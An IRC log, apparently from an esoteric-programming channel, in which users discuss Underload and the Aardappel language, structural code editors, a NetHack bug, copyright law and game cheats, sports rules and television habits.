18:25:26 <elliott> Wouter is one of the "famous" esolangers, made FALSE
18:25:31 <elliott> also, technically a channel op here
18:25:36 <elliott> but I've never seen him, ever
18:25:40 <Cheery> mh.. with google I only found this: http://www.fluweelbloem.nl/wp-content/uploads/2009/10/aardappel-bikini-297x300.jpg
18:25:40 <kfr> And there's an Underload sport going on here
18:25:59 <kfr> It means potato in some Germanic language, I suppose
18:26:17 <kfr> Should be west Germanic
18:26:32 <kfr> Yeah it's Dutch apparently
18:26:52 <elliott> hm, we don't have an Aardappel page on the wiki.
18:26:54 <kfr> http://strlen.com/aardappel-language
18:27:10 <Cheery> I thought about trying to make this one way to write languages, didn't thought much about its esoteric value.
18:27:13 <kfr> Damn, so I was too late :|
18:27:17 <oerjan> kfr: HASKELL HASKELL HASTUR AAAAAAAAAAAAAAAA
18:27:25 <kfr> oerjan: Hva
18:27:45 <kfr> I had to look up Hastur
18:27:48 <oerjan> role playing/cthulhu joke
18:27:52 <elliott> 18:42:11 <kfr> Cheery: This channel is good for freethinker talk on programming languages although many people in here are under the influence of Haskell
18:27:52 <elliott> ok, logreading was a mistake, why can't I learn to trust my past self to make the right ignores...
18:27:53 <kfr> Not familiar with it
18:28:01 <oerjan> kfr: btw er du norsk?
18:28:04 <kfr> Nei
18:28:09 <oerjan> oh
18:28:29 <oerjan> ...something fishy there...
18:28:32 <kfr> Jeg er fra tyskland men jeg lære meg norsk fordi jeg vil skrive helnorsk svartmetall sangtekster
18:28:38 <oerjan> aha
18:28:38 <kfr> ^-^
18:28:43 <elliott> ais523: btw I am really tempted to write an Underload preprocessor
18:28:47 -!- asiekierka has quit (Remote host closed the connection).
18:28:58 <kfr> I'm exaggerating, I haven't studied Norwegian in a long time
18:29:00 <ais523> elliott: I even /specced/ one, and implemented it sort-of
18:29:03 <elliott> ais523: let mock := (:^)*:^.
18:29:06 <elliott> () mock -> infinite loop
18:29:09 * oerjan isn't into metal, alas
18:29:19 <zzo38> elliott: Yes I too had idea of Underload preprocessor
18:29:19 <elliott> ais523: WELL MINE'S BETTER
18:29:27 <ais523> it's a really obvious thing to do
18:29:33 <kfr> oerjan: Awww, black metal is the most significant export of Norway! :[
18:29:35 <elliott> ais523: I think Underload + word definitions could actually be a nice-ish language...
18:29:41 <ais523> mine let you redefine things like :, though, in terms of other things
18:29:45 <Cheery> aardappel looks pretty. I'll have to look into it
18:29:51 <ais523> so you could do things like add bounds checking to the language while keeping source compatibility
18:30:06 <elliott> Cheery: aardappel is pretty but, like all tree-based structural programming editors, absolutely impossible to use efficiently
18:30:11 <elliott> /cough cled
18:30:18 <elliott> ais523: that's awful
18:30:27 <ais523> elliott: really?
18:30:32 <elliott> well
18:30:34 <elliott> scary :)
18:30:45 <ais523> Underlambda's designed around making that idea possible
18:31:03 <ais523> not expecting it to be efficient, but letting you use it to write relatively simple esolang->esolang compilers
18:31:14 <Cheery> elliott: which spots make it inefficient?
18:31:18 <Cheery> inputting?
18:31:28 <ais523> the idea is to make it a) easy to implement, and b) possible to implement efficiently (but not necessarily easy to implement efficiently)
18:31:36 <oerjan> kfr: yeah but few actual _norwegians_ are into it :D
18:31:40 <elliott> Cheery: well, actually inputting programs in structural editors tends to be slower than a textual format; editing I've never done, but I suspect navigating to the right place might take more time too
18:31:46 <Cheery> it's one of things I've attempting to get on. :)
18:31:47 <elliott> Cheery: this problem might not be inherent, but nobody's solved it yet afaik
18:31:58 <kfr> oerjan: Oh I'm sure it's far more popular in Norway than in most of Europe, per capita
18:32:35 <Cheery> elliott: confirmed typing is pretty fast if you first get to a location where you need to be in
18:32:45 <kfr> Although probably not nomimally considering Norway's smaller population
18:33:08 <Cheery> elliott: though, navigation is the harder problem I've not yet gotten good solutions to.
18:33:08 <quintopia> ais523: do you have enough of an idea of underlambda to have already written some examples for it?
18:33:13 <ais523> hmm, is the idea that the editor makes it physically impossible to type a syntax error, and also stores the structure of the code so you don't need to use things like braces instead
18:33:29 <pikhq> oerjan: I'd imagine it's at least got a decent niche in Norway.
18:33:30 <elliott> ais523: yes, welcome to 1990 or something
18:33:35 <ais523> quintopia: yes, I do; the problem with Underlambda is not the Feather problem of me not understanding it, but the entirely unrelated problem of me repeatedly changing my mind
18:33:37 <Cheery> ais523: that's it.
18:33:40 <pikhq> oerjan: The Norwegian black metal artists have to come from somewhere, right?
18:33:40 <elliott> Cheery: I find typing is inefficient because mistakes in the structural parts are harder to correct.
18:33:53 <quintopia> ais523: just was wondering if anything was set in stone
18:34:08 <ais523> not really, although a few characters are very unlikely to change meaning
18:34:09 <Cheery> elliott: I did a mechanism that lets you correct the last mistake you did
18:34:11 <kfr> So everything you make in a structural editor is a correct program? (as in, it compiles) I think I have seen something like this in two applications before, actually
18:34:15 <oerjan> pikhq: you'd think. mind you since i don't even watch _tv_ i don't really know how mainstream it has got.
18:34:15 <elliott> Cheery: For instance, if I write "x/4" as the mistaken "x=4", normally I could just backspace. But in a structural editor, it is quite likely that the = will trigger the creation of new nodes etc.
18:34:18 <kfr> It was absolutely horrible, though
18:34:20 <elliott> And reversing that might be harder than backspacing.
18:34:23 <ais523> mostly the small abbreviation ones, like _ for dip, and & and ` as argument-reversed versions of * and ^
18:34:27 <elliott> Sure, undo gets you some of the way, but I don't think all.
18:34:35 <kfr> Those were the editors for StarCraft and StarCraft II coded by Blizzard
18:34:46 <Cheery> elliott: oh, that will be trouble.
18:34:47 <kfr> They used structural editors for the half assed scripting language
18:34:57 <zzo38> Then make the editor so that pushing backspace will undo the creation of the new node.
18:35:00 <kfr> It was enormously time consuming to get any work done there
18:35:05 <pikhq> oerjan: My "TV" watching consists of: video off the Internet, NetFlix streaming, and football. :)
18:35:09 <ais523> but I managed to get call/cc implemented purely in the preprocessor
18:35:12 <kfr> But it was by no means optimising
18:35:16 <ais523> wow, I've just realised how insane my previous line was
18:35:18 <kfr> But it was by no means optimised* for input speed
18:35:42 <elliott> Cheery: I think structural editors should possibly keep things in a mostly linear form until the completion of small structures, at which point they turn "semantic".
18:35:54 <pikhq> (NetFlix, BTW, is a company in the US that lets you rent any number of DVDs, via the mail, per month, for a flat rate, *and* offers streaming video on a variety of set-top boxes. Quite nice.)
18:35:57 <elliott> Cheery: (if you start writing a larger structure, parts you typed a short while ago will become structural, but your current focus will stay linear)
18:36:02 <elliott> pikhq: *Netflix
18:36:09 <pikhq> elliott: Blah, right, it's not camel case.
18:36:10 <oerjan> ais523: well we expect _you_ to implement call/cc in the _processor_
18:36:14 <elliott> also, football? why? :p
18:36:20 <Cheery> elliott: or have linear form available all the time from the semantic one.
18:36:25 <pikhq> elliott: I don't know why, but I actually enjoy watching American football.
18:36:30 <pikhq> elliott: Little bit of a guilty pleasure.
18:36:45 <kfr> pikhq: It's funny that you chose to go all the way to explain NetFlix but you decided not to add verosity to the football part which would be most misleading one in an international chat :p
18:36:46 <zzo38> Is there anything in gcc that allows a program to operate on its own GENERIC and GIMPLE codes before it is compiled?
18:36:49 <ais523> oerjan: haha, although not very likely, it doesn't even have a remotely sane restriction to finite state unless you make it work like exceptions, and that misses the whole point
18:36:56 <elliott> Cheery: possibly. but i mean so that fixing recent enough mistakes can be done by just backspacing. :p
18:37:00 <kfr> Oh, or Netflix then* :p
18:37:06 <kfr> verbosity* rather
18:37:07 <Cheery> elliott: editing is the thing you pointed out already. I think that's next thing I should look into.
18:37:09 <ais523> zzo38: I don't think so, because gcc is so muddled around that point; in some cases, it doesn't go via GENERIC/GIMPLE at all
18:37:20 <elliott> yeah
18:37:22 <ais523> a program can operate on RTL using a modified version of __asm, but only to add things
18:37:28 <ais523> not to move them around
18:37:33 <pikhq> kfr: Even without mentioning that it's American football, a form of gridiron football, people would at least understand that football is a form of sport that is often watched on TV.
18:37:42 <kfr> Right
18:37:47 <zzo38> ais523: If gcc doesn't, can LLVM do anything like I described (but without GENERIC/GIMPLE, I guess)?
18:37:54 <ais523> zzo38: I don't know, I haven't looked into it
18:38:05 <kfr> That is certainly true for all derivatives of that family
18:38:11 <pikhq> Whereas if you've not heard of Netflix at all, you're going to be pretty clueless.
18:38:19 <kfr> True that
18:38:23 <Cheery> elliott: I don't think if it's so easy to directly fix the mistake, but I feel I know how I could approach these things.
18:38:42 <pikhq> Also, it's not true that all forms of football are forms of gridiron football.
18:38:45 <kfr> Cheery by the way, I presume that your language is typed statically?
18:38:56 <pikhq> I think the only two notable such games are American and Canadian football.
18:39:03 <kfr> How is Aardappel typed?
18:39:10 <ais523> what does "gridiron" mean in this context?
18:39:34 <Cheery> kfr: depends about the language. I haven't yet decided on the language and actually.. I attempt to do support for both into one multilingual packet.
18:39:37 <elliott> it means you play on a gigantic iron
18:39:39 <elliott> arranged in a grid
18:39:48 <ais523> elliott: I choose not to believe you
18:39:58 <kfr> pikhq: Hmm? Association Football is the most popular sport wide, and then there are the different forms of Rugby and Australian Rules Football
18:40:13 <Cheery> for the first run it sounds like good idea to start from C-like language.
18:40:22 <kfr> Oh, I don't know what the gridiron part means
18:40:37 <elliott> Cheery: seriously? naw
18:40:41 <pikhq> ais523: It's a class of football games, which has a series of parallel lines indicating yardage on the play field, and has a system of downs, a line of scrimmage, and forward passes.
18:40:44 <elliott> Cheery: something like Lisp would work best
18:40:53 <elliott> Cheery: the uniformity will make the editing easier with that kind of interface
18:40:56 <ais523> pikhq: ah, OK; that's... rather specific
18:41:05 <pikhq> ais523: There's more than one such game is the thing.
18:41:22 <kfr> http://en.wikipedia.org/wiki/Gridiron_football
18:41:32 <Cheery> elliott: I feel I need tools that work on non-uniform representation of semantics.
18:41:38 -!- cheater99 has quit (Ping timeout: 240 seconds).
18:41:46 <ais523> elliott: this may or may not be a good time to mention scapegoat
18:41:52 <pikhq> ais523: They're all pretty *similar* games, but definitely distinct.
18:41:55 <elliott> ais523: good a time as any!
18:42:00 <elliott> Cheery: why?
18:42:53 <Cheery> elliott: better visuals.
18:43:08 <elliott> Cheery: well, C-like languages are a bad choice, because they usually have few levels of expression nesting
18:43:09 <Cheery> though yeah. it boils down to an interesting form of lisp.
18:43:13 <elliott> meaning your tools have less to work with
18:43:19 <ais523> pikhq: I never really understood the attraction in American football, by the way; which is interesting because I prefer baseball to pretty much all sports which are commonly watched in the UK
18:44:04 <elliott> 13:16:09 <ais523> "LoseThos can update full screen at 30fps without much effort because it's only 640x480x16 color."
18:44:04 <elliott> 13:16:19 <ais523> isn't that a bit low for modern systems?
18:44:04 <elliott> it redraws the screen every frame, because it's LoseThos and he's clinically insane
18:44:12 <ais523> elliott: oh, right
18:44:16 <Cheery> elliott: I also thought about doing a first run with the language I think would fit best for the editor configuration.
18:44:16 <kfr> My supervisor is from Pakistan, he was too late for a meeting today because he stayed up for a long time to watch a cricket game
18:44:19 <pikhq> ais523: Baseball's a sport I've not really gotten *that* much into, but I will admit that it's pretty fun to watch in a stadium.
18:44:34 <ais523> pikhq: really? I'd imagine you couldn't much tell what was going on live
18:44:45 <ais523> that usually seems to be the case, I generally prefer to watch sport on TV for that reason
18:44:57 <ais523> although I have a feeling that I'm potentially missing the point
18:44:57 <pikhq> ais523: Admittedly, I've only gone to minor league games, which have rather smaller stadiums.
18:45:03 <Cheery> elliott: that'd be using graph reducing with controlled side-effects.
18:45:06 * kfr hasn't owned a TV in 11 years
18:45:17 <elliott> Cheery: I think side-effects would be a distraction for this
18:45:25 -!- cheater99 has joined.
18:45:30 <elliott> Cheery: ideally, you'd be able to press an "evaluate" key at any point in the tree, and see just that subtree reduce to a simpler form, e.g. to the side
18:45:30 <pikhq> (there's a minor league team in town; family's gone there a few times. Fun and cheap. Yay.)
18:45:35 <elliott> side-effects would destroy that a little bit
18:45:36 <ais523> I don't think I've owned a TV ever, although my parents own at least one
18:45:38 <elliott> and I feel it could be useful for debugging
18:45:42 <ais523> and so I can watch it like that if necessary
18:45:57 <pikhq> I own a TV tuner card. It is permanently attached to my PS3.
18:46:29 <pikhq> If my monitor were HDMI, I'd just have a switchbox instead. Ah well.
18:46:46 <ais523> the TV situation in the UK is a bit weird, because all the major channels do things online (restricted to residents of the UK) nowadays
18:46:54 <ais523> I think channels 4 and 5 just put their stuff up on YouTube
18:47:06 <Cheery> well.. getting to keep on this kernel stuff yet a while. I try to get memory management, scheduling and driver interface done. :)
18:47:09 <elliott> BitTorrent obsoleted television. :p
18:47:15 <elliott> Cheery: Oh, you are implementing this in an OS?
18:47:18 <elliott> Cheery: Cool!
18:47:19 <pikhq> In the US, the major channels are still needing to be convinced that it's a good idea to put stuff online.
18:47:37 <pikhq> First, there was Hulu, which got basically everything. Then they started to make Hulu suck.
18:47:53 <Cheery> elliott: well.. more like I plan implementing an OS with it.
18:47:58 <Cheery> ;)
18:48:02 <zzo38> I prefer analog television, it works.
18:48:13 <zzo38> But I do not watch television much.
18:48:16 <Cheery> and only after then implement the editor itself in the OS.
18:48:23 <ais523> zzo38: not for much longer, at least in the UK; they're in the process of switching analog transmitters off at the moment
18:48:25 <elliott> I ONLY WATCH TELEVISION ON AN ANALOGUE, BLACK-AND-WHITE SET FROM 1949
18:48:27 <ais523> to free up the bandwidth for other things
18:48:37 <elliott> WITH A 2" SCREEN AND TWENTY KNOBS THAT YOU USE TO CHANGE FROM CHANNEL 1 TO CHANNEL 1 AND BACK
18:48:39 <elliott> WHICH WAS ALL THEY HAD IN THOSE DAYS
18:48:44 <elliott> IT DOESN'T HAVE SOUND, THEY HADN'T INVENTED SOUND YET
18:48:45 <pikhq> It's like they don't even realise that if people can't watch it easily online, they'll either say "fuck that" or pirate it, rather than pay money.
18:48:52 <elliott> IT'S ALSO GREY BECAUSE THEY HADN'T INVENTED COLOUR YET
18:49:15 <ais523> elliott: well, /mine/ was invisible because they hadn't invented grey yet either
18:49:16 <elliott> pikhq: most people aren't very good at piracy
18:49:29 <pikhq> elliott: Thus why "fuck that" is an option.
18:49:32 <elliott> ais523: When the dinosaurs were around, we didn't even have radio, dammit.
18:49:36 <elliott> Neither colours nor sounds had been invented.
18:49:39 <elliott> Everything was just TRANSPARENT.
18:50:04 <pikhq> elliott: BTW, I consider watching illegal Youtube uploads as "pirating it" for purposes of this discussion.
18:50:05 <kfr> Yeah, I encountered Cheery in #osdev
18:50:31 <pikhq> elliott: Although technically just *watching* it is entirely legal.
18:50:57 <ais523> pikhq: hmm, I never realised that the breaks in proffessional American football were deliberately lengthened to make room for adverts
18:51:03 <kfr> Legality is relative, it depends on local legislation
18:51:05 <ais523> I always assumed the referees were just bad at making decisions
18:51:06 <pikhq> ais523: That is one of the suckier aspects.
18:51:39 <pikhq> kfr: Most copyright laws do not make it illegal to obtain something that was illegally reproduced; it is merely illegal to actually do said reproduction.
18:51:56 <ais523> it used to be hilarious watching US baseball games in the UK; due to the time difference and differences in advertising, they managed to fit in all the coverage that the US broadcast had (they just streamed with permission from ESPN), and did all the UK-extra things in the US ad breaks
18:52:27 <ais523> in other words, they basically fit an entire baseball discussion program - discussion, commentary, reading viewers' letters, etc. - into the ad breaks of the US version
18:52:42 <pikhq> They probably do that to US football, too.
18:52:53 <ais523> pikhq: but there's a copy in your computer's RAM! <--- actual (yet stupid) precedent from the Blizzard vs. Glider devs case
18:53:23 <kfr> ais523 lol I am familiar with that one
18:53:48 <kfr> There's been a series of new lawsuits by Blizzard against some other people recently, three of which I know
18:53:54 <pikhq> ais523: I don't know how that interacts with the *actual law* stating that copying into RAM for purposes of utilisation are not regulated by copyright law.
18:54:04 <kfr> About StarCraft II, I think
18:54:16 <ais523> hmm, what did they do to annoy Blizzard wrt that? it presumably wasn't botting
18:54:19 <ais523> maybe cheating?
18:54:26 <ais523> or using unlicensed copies?
18:54:46 <kfr> ais523: Selling cheats for SC2
18:54:56 <elliott> ais523: let me find a relevant comic...
18:55:00 <ais523> ah, as in patches that made cheating possible?
18:55:05 <ais523> elliott: why bother, I'd be unlikely to actually read it
18:55:05 <pikhq> Aaaand there's precedent that creating a derivative work using a cheat device is fair use.
18:55:11 <pikhq> (Nintendo v. Galoob, IIRC)
18:55:29 <pikhq> Sorry, Galoob v. Nintendo.
18:55:30 <elliott> ais523: WHO SAID IT WAS OPTIONAL
18:55:47 <kfr> ais523: Usually they are external programs which inject stuff into the target process and then terminate
18:55:47 <ais523> pikhq: and reverse-engineering a copy-protection scheme for the purpose of circumventing it used to be legal, until they specifically banned it via the DMCA
18:55:55 <kfr> I'm not entirely sure how these operate really
18:56:07 <kfr> SC2 has some pretty sophisticated protection
18:56:18 <kfr> With a messed up VM with randomised opcodes etc
18:56:19 <pikhq> ais523: Sadly, yes.
18:56:22 <elliott> grr, I can't find the comic
18:56:24 <pikhq> ais523: Fuck the DMCA.
18:56:26 <ais523> and you could even copy a trademarked logo for the purpose, if it was needed as a signing key
18:56:36 <ais523> pikhq: it has some good ideas, but a lot more bad ideas
18:56:47 <pikhq> ais523: Actually, *that* is entirely legal.
18:56:50 <kfr> I've only worked my way around Warden in Diablo II, which was quite easy though
18:56:57 <kfr> Never dealt with any sophisticated systems like that
18:57:07 <pikhq> I don't have the citation handy, but that's actually been in court.
18:57:11 <kfr> Or the ones which operate at a kernel level with their own signed drivers
18:57:18 <ais523> pikhq: indeed, there's precedent like that; although I'm worried about SCEA vs. Hotz, where the accusation is basically that except with the trademark
18:57:34 <ais523> *without the trademark
18:57:50 <kfr> Heh, I know some people who do PS3 hack dev
18:57:52 <pikhq> Something about a printer cartridge having a very small amount of code in ROM, and it was successfully argued that copying this ROM did not consist of a circumvention device.
18:57:52 <elliott> 19:07:46 <ais523> pikhq: hmm, I never realised that the breaks in proffessional American football were deliberately lengthened to make room for adverts
18:57:53 <elliott> *professional HAHA
18:57:57 <kfr> I have no interest in consoles myself
18:58:15 <ais523> elliott: you know what, I wrote it with one f, got confused, then changed it
18:58:17 <elliott> 19:11:05 <ais523> hmm, what did they do to annoy Blizzard wrt that? it presumably wasn't botting
18:58:17 <elliott> oh, that was in reply to kfr
18:58:22 <ais523> my spellchecker seemed to be happy in both directions
18:58:40 <Cheery> this "POTATO" -language looks like pretty fun
18:58:43 <ais523> but it sometimes randomly decides not to check at all, or to draw the red underscores outside the text box where they're occluded by the rest of the window
18:58:52 <Cheery> but he doesn't seem to concern editing at all!
18:59:15 <ais523> sometimes when I design a language I don't even worry about source code format
18:59:23 <ais523> e.g. DownRight, which I suspect /still/ isn't on the wiki
18:59:24 <pikhq> Copyright law is *so* fucking nuts.
18:59:29 <pikhq> (and completely unenforcable)
18:59:32 <ais523> pikhq: s/Copyright //
18:59:37 <kfr> I think one of my relatives is an IP lawyer :/
18:59:47 <kfr> He probably sues people like me for a living
18:59:49 <pikhq> ais523: At least the *premise* of most law is still workable.
18:59:58 <ais523> pikhq: good point
19:00:31 <pikhq> Copyright law nowadays is broken all the way down to the very idea.
19:01:07 <ais523> hmm, reading a comparison of American football and rugby, you often wonder how rugby players manage to move the ball forwards at all, because what the attacking side can do seems like a subset of what they can do in American football, whereas the defending side seem to have much the same abilities or better
19:01:37 <kfr> ais523 and they have far less protection lol
19:01:42 <pikhq> Well, they certainly manage to. And did in American football before the legalisation of the forward pass.
19:01:46 <kfr> I think injuries in Rugby are more common
19:02:02 <ais523> the sorts of contact are less dangerous, though; in rugby, you have to aim for the legs
19:02:05 <pikhq> (amusingly, this was done for the sole purpose of reducing injuries.)
19:02:10 <kfr> Oh, ok
19:02:10 <ais523> whereas in American football, I think you can aim anywhere
19:02:27 <pikhq> ais523: Certain forms of contact are barred, though.
19:02:33 <ais523> a "rugby tackle" is actually a sort of tripping people using your arms
19:02:52 <pikhq> IIRC, hitting someone with your helmet is a major penalty.
19:03:20 <ais523> that would make sense
19:03:42 <ais523> ISTR that in ice hockey, there's a rule against removing your sweater (and they're actually tied down to stop the players doing it)
19:03:59 <ais523> because it used to be an optimal strategy to prevent your opponents hanging onto you while trying to beat you up
19:04:33 <ais523> (probably the best rule of that nature, though, is the rule against transparent swimming costumes in synchronized swimming; it's the sort of rule that makes you think that it must be there for a reason)
19:04:57 <kfr> o_o
19:05:11 <kfr> Why don't they permit nude swimmers? Prudes
19:05:18 <quintopia> ais523: also, you can't pull someone down by their helmet.
19:05:32 <ais523> kfr: I don't see how being naked would violate a rule against transparent swimming costumes, although perhaps only because I'm overly literal
19:05:52 <kfr> Well, I suppose they want to prevent nudity
19:06:03 <pikhq> American prudishness and all.
19:06:06 <pikhq> :P
19:06:09 <quintopia> nah
19:06:21 <ais523> I think I've got the fundamental difference between American football and rugby, anyway; in rugby, if you're tackled you have to drop the ball, but if a team-mate picks it up they can just pass it sideways and keep on going
19:06:27 <quintopia> it's just that waving your boobs around gives you an unfair advantage
19:06:27 <ais523> and that happens quite a lot in rugby union
19:06:37 <quintopia> they're supposed to be rewarding skill, not biology
19:07:01 <kfr> Or penises
19:07:04 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~((!^~)())((~:(, )*S~:(^~!^)~a*^:^*a~^!a*)~a*^:^):^
19:07:05 <fungot> 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, ...out of time!
19:07:11 <ais523> (in rugby league, you're limited to doing it four times between change of possession, meaning it's common to kick on the fifth tackle just like american football often punts on the fourth down)
19:07:25 <ais523> oerjan: you're really having fun with that, aren't you?
19:07:30 <oerjan> :)
19:07:33 <pikhq> And in American football, if you're tackled you stop play.
19:07:39 <quintopia> kfr: male synchronized swimmers? :P
19:07:49 <kfr> quintopia I'm sure it exists?
19:07:57 <pikhq> quintopia: It definitely exists.
19:07:58 <ais523> pikhq: indeed
19:08:09 <kfr> I mean if there's an Olympic category for women
19:08:13 <kfr> There must be one for men, too
19:08:25 <kfr> Otherwise that would be discrimination :'(
19:08:29 <quintopia> yeah of course it exists. but it's still not a common thing to expect.
19:08:36 <ais523> one interesting difference, incidentally, is that in rugby you can still do the equivalent of a field goal, but have to bounce the ball and kick it on the rebound, in order to make it more difficult
19:08:48 <ais523> because otherwise, people would get them all the time, the way the offside rule works
19:08:55 <elliott> ais523: anyway, my underload compiler is going well
19:09:01 <elliott> ais523: it's even the first one to follow the standard entirely
19:09:05 <ais523> yay!
19:09:10 <elliott> first implementation, that is
19:09:12 <elliott> ever
19:09:20 * elliott waits for ais523 to ask
19:09:22 <ais523> does it handle literal NUL correctly?
19:09:30 <elliott> I think so, but that's not what I mean
19:09:44 <elliott> oh, well, I don't think it can print them out on the C side, although it might actually end up being able to for various reasons
19:09:45 <ais523> (Underload doesn't special-case it, but most things do, so it's worth checking)
19:09:47 <Sgeo_> Is it about the stuff that the wiki says no one impleemnets?
19:09:49 <Cheery> I thought there was no rules in american football
19:09:50 <Sgeo_> implements
19:09:53 <ais523> Sgeo_: indeed
19:09:55 <elliott> in fact, I think it fails on invalid Unicode, but that's a bug I need to fix
19:10:00 <elliott> ais523: not going to guess how it's compliant?
19:10:06 <ais523> elliott is definitely referencing the " quoting stuff
19:10:17 <elliott> ais523: yep
19:10:20 <ais523> Cheery: well there have to be some rules, or you wouldn't be able to tell who'd won
19:11:22 <pikhq> Cheery: It's got rules that evolved out of rugby.
19:12:42 <kfr> <Cheery> I thought there was no rules in american football <- err what?
19:12:46 <ais523> elliott: wow, Wikipedia seems to have solved the debate about what [[football]] should mean by writing a full article at every plausible title
19:12:47 <kfr> There are tons of of rules
19:12:56 <ais523> [[football]] itself is a comparison of different games called "football"
19:13:08 <ais523> kfr: you're showing a Vorpal-like level of missing the point there, I think
19:13:10 <kfr> How would you be able to have any kind of formal competition otherwise?
19:13:14 <elliott> they call football "association football"
19:13:14 <ais523> Cheery was trying to make a joke
19:13:15 <Sgeo_> Dammit. In my current vision of GoTris, single eyes are just as alive as two eyes
19:13:26 <elliott> don't be stupid, jokes are for academics
19:13:40 <kfr> http://en.wikipedia.org/wiki/Vorpal_sword ?
19:13:48 <zzo38> How are you supposed to play football if there are no rules?
19:13:55 <elliott> 19:24:58 <kfr> I mean if there's an Olympic category for women
19:13:55 <elliott> 19:25:02 <kfr> There must be one for men, too
19:13:55 <elliott> 19:25:14 <kfr> Otherwise that would be discrimination :'(
19:13:55 <elliott> are you saying it _wouldn't_ be discrimination?
19:13:58 <elliott> it very obviously would be
19:14:02 <pikhq> zzo38: The way it used to be done. With much violence.
19:14:05 <ais523> kfr: Vorpal's a user in this channel, although I think that might have inspired the nickname
19:14:25 -!- Sgeo_ has changed nick to Jabberwock.
19:14:30 -!- Jabberwock has changed nick to Sgeo.
19:14:48 <ais523> elliott: famously, in Olympic beach volleyball, there are restrictions forcing the women to wear skimpy clothing, but men are allowed to wear as much as they like
19:14:53 <quintopia> zzo38: how are you supposed to play 1kbwc? how are you supposed to play calvinball?
19:14:56 <elliott> ais523: haha, that's terrible
19:15:00 <ais523> I think they have some maximum amount of skin that's allowed to be covered, or something stupid like that
19:15:27 <Sgeo> Do they attempt to justify those restrictions?
19:15:38 <pikhq> Sgeo: "We dislike fundamentalist Muslims"
19:15:40 <ais523> I naturally assumed upon hearing that there were clothing restrictions that they were to stop the competitors revealing too /much/...
19:15:44 <pikhq> (just a guesse)
19:16:44 * Sgeo is still hungry
19:16:49 <Sgeo> This is probably a good thing
19:17:32 <quintopia> i think the justification is "we want people to actually tune in on TV"
19:18:40 <Sgeo> Wouldn't restrictions on how much the guys can wear get the ladies to tune in? Or is there some sort of difference between guys' interest in ladies and ladies' interest in guys?
19:18:48 * Sgeo is a bit confused on this point
19:19:09 <quintopia> the difference is you don't have to have a rule to convince guys to take off their clothes
19:20:50 <elliott> pikhq: *guess btw
19:21:24 <ais523> quintopia: well, male beach volleyball generally wears a shirt and shorts
19:21:50 <elliott> ais523: hey, can you relate some horror stories about the NetHack source code?
19:22:01 <elliott> <fizzie> Oh, you could do a struct map_flags { } with independently named single-bit bitfields. Didn't you want real bitfields in there somewhere?
19:22:01 <elliott> <fizzie> Even NetHack has bitfields!
19:22:07 <elliott> fizzie doesn't have the adequate fear of God in him.
19:22:13 <ais523> elliott: if you like; do you know about the famous Yeenoghu touch of death bug?
19:22:30 <elliott> ais523: no, and nor does fizzie, and he wants to know! in _detail_
19:22:32 <Sgeo> elliott, that reminds me of UF
19:23:00 <ais523> it's probably easier to read the explanation in the wiki than to have me relate it: http://nethackwiki.com/wiki/Yeenoghu#.22A_ludicrous_bug.22
19:23:18 <elliott> yes fizzie, read all of that!
19:23:40 <quintopia> sgeo: i haven't read that in a long long time.
19:23:47 <elliott> ais523: hmm, death kills you on touch?
19:24:01 <Vorpal> <ais523> kfr: Vorpal's a user in this channel, although I think that might have inspired the nickname <-- uh?
19:24:18 <elliott> /sigh
19:24:27 <ais523> but tl;dr: a switch statement had a case with a fallthrough, extra code was added just /after/ the fallthrough without the devs noticing, everyone assumed it was deliberate due to the /* fall through */ comment
19:24:40 <ais523> Vorpal: I mentioned you, kfr wondered if it was a Vorpal Blade reference
19:24:42 <Vorpal> oh found the context now
19:25:01 <elliott> hmm, nethack has a curses interface?
19:25:09 <elliott> looks ugly
19:25:17 -!- Sgeo has changed nick to Jabberwocky.
19:25:18 <Vorpal> elliott, what does it *normally* use?
19:25:25 <elliott> Vorpal: terminal escapes
19:25:31 <Vorpal> elliott, heh
19:25:38 <Vorpal> ais523, didn't see the first mention. Strange
19:25:39 <ais523> elliott: Death can kill you on touch, but if you're immune to that, and you generally are by the time you reach him/her/it, it drains max HP instead
19:25:42 <Vorpal> long ago?
19:25:44 <elliott> hmm, /me ponders vandalising the old nethack wikia once the moving notice is removed
19:25:46 <Jabberwocky> Vorpal
19:26:01 <Vorpal> Jabberwocky, that highlights
19:26:01 <ais523> elliott: don't bother, anons are doing that enough by mistake as it is
19:26:05 <elliott> ais523: heh
19:26:06 <Vorpal> oh wait, it was inside a word
19:26:21 <Vorpal> seems "Vorpal-like" didn't highlight me.
19:26:22 <ais523> there was someone who was going around "correcting" the source code quotes by changing Sprintf to sprintf and removing unnecessary parens
19:26:23 <Vorpal> strange.
19:26:44 <Vorpal> ais523, ever played df btw?
19:26:49 <ais523> which is incorrect in that it's a semantic difference, /and/ incorrect in that it's a quote
19:26:53 <elliott> ais523: I meant more the kind of vandalism that made the pages useless, to avoid nethack.wikia.com becoming a wikia ghost town
19:26:53 <ais523> Vorpal: no, but I know quite a bit about it
19:26:56 <Jabberwocky> hmm
19:26:59 <Jabberwocky> This is weird
19:27:01 <ais523> elliott: that'd likely be noticed and reverted
19:27:09 <elliott> (i.e. a place that people read and very occasionally edit because they don't have any clue that the wiki moved)
19:27:14 <elliott> ais523: well, yes, thus "ponder"
19:27:14 <Jabberwocky> I think NickServ's either asleep or dead.
19:27:14 <Vorpal> ais523, I think you would like it. Though I'd like to add that nethack is probably easier
19:27:27 <ais523> also, Tjr (sort-of chief admin on nethackwiki) thinks that doing that will only give them page rank
19:27:30 <elliott> nickserv works for me
19:27:39 <ais523> Vorpal: it's not open-source, that removes half the fun in the game for me
19:27:48 <Jabberwocky> NickServ threatened to change my nick
19:27:51 <Jabberwocky> It still hasn't done so
19:27:52 <ais523> I'm not an RMS-level open source fan, but I consider it a feature, and one that adds quite a bit
19:28:05 <Vorpal> ais523, like being able to check how it works?
19:28:07 <ais523> Jabberwocky: still doesn't mean you should go around stealing other people's nicks!
19:28:15 <elliott> ais523: I think the source code to DF would be almost useless
19:28:18 <elliott> as the logic is so hideously complex
19:28:25 <ais523> Vorpal: yep; and write patches, and look for exploits
19:28:35 -!- Jabberwocky has changed nick to NotTheRealJabber.
19:28:38 <elliott> ais523: DF has mods
19:28:41 <Vorpal> ais523, heh
19:28:47 <elliott> ais523: so you can do the former, pretty much
19:28:48 <NotTheRealJabber> Yes, I'm not really XMPP
